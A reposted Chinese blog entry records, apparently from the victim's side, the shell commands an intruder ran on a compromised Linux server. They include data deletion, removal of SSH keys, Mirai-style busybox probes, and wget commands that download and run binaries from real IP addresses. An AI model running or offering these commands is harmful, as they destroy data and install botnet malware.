服务器被攻击，黑客的操作

w
ifconfig
ps -ef
killall CROND
w
ls
rm -rf *
ls
cd .ssh
cd /root
rm -rf .ssh
ls
cd .ssh
cd .
ls
halt
/gisdfoewrsfdf
sudo /bin/sh
/bin/busybox cp; /gisdfoewrsfdf
mount ;/gisdfoewrsfdf
echo -e '\x47\x72\x6f\x70/' > //.nippon; cat //.nippon; rm -f //.nippon
echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon
echo -e '\x47\x72\x6f\x70/var/tmp' > /var/tmp/.nippon; cat /var/tmp/.nippon; rm -f /var/tmp/.nippon
echo -e '\x47\x72\x6f\x70/' > //.nippon; cat //.nippon; rm -f //.nippon
echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon; cat /proc/.nippon; rm -f /proc/.nippon
echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon; cat /sys/.nippon; rm -f /sys/.nippon
echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon; cat /dev/pts/.nippon; rm -f /dev/pts/.nippon
echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon; cat /dev/shm/.nippon; rm -f /dev/shm/.nippon
echo -e '\x47\x72\x6f\x70/boot' > /boot/.nippon; cat /boot/.nippon; rm -f /boot/.nippon
echo -e '\x47\x72\x6f\x70/var' > /var/.nippon; cat /var/.nippon; rm -f /var/.nippon
echo -e '\x47\x72\x6f\x70/letv/fet' > /letv/fet/.nippon; cat /letv/fet/.nippon; rm -f /letv/fet/.nippon
echo -e '\x47\x72\x6f\x70/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; cat /proc/sys/fs/binfmt_misc/.nippon; rm -f /proc/sys/fs/binf
/gisdfoewrsfdf
cat /bin/echo ;/gisdfoewrsfdf
cd /; wget http://217.23.10.181/bins/usb_bus.x86 -O - > usb_bus ; chmod 777 usb_bus ; ./usb_bus ;/gisdfoewrsfdf
wget http://45.248.85.53:708/5009
&chmod 0755 ./5009
&./5009
&chmod 0755 ./5009
&./5009
chmod 0755 ./5009
./5009

转载于:https://www.cnblogs.com/liuquan/p/6339820.html